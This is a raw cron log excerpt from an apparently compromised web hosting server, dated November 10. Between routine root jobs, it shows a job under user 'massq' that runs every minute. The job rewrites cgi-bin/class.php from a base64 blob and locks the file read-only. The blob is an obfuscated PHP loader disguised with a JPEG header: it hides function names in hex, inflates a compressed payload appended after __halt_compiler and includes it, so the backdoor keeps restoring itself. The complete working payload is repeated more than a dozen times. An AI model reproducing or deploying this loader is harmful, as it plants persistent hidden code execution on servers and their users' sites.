Nov 10 21:44:01 server CROND[10116]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:45:01 server CROND[10626]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:45:01 server CROND[10628]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 21:45:01 server CROND[10627]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 21:46:01 server CROND[11438]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:47:01 server CROND[12183]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:48:01 server CROND[12939]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:49:01 server CROND[13635]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:50:01 server CROND[14552]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 21:50:01 server CROND[14555]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 21:50:01 server CROND[14556]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 21:50:01 server CROND[14557]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:50:01 server CROND[14558]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 21:51:01 server CROND[15358]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:52:01 server CROND[16105]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:53:01 server CROND[16953]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:54:01 server CROND[17607]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:55:01 server CROND[18030]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 21:55:01 server CROND[18032]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 21:55:01 server CROND[18034]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 21:56:01 server CROND[19040]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
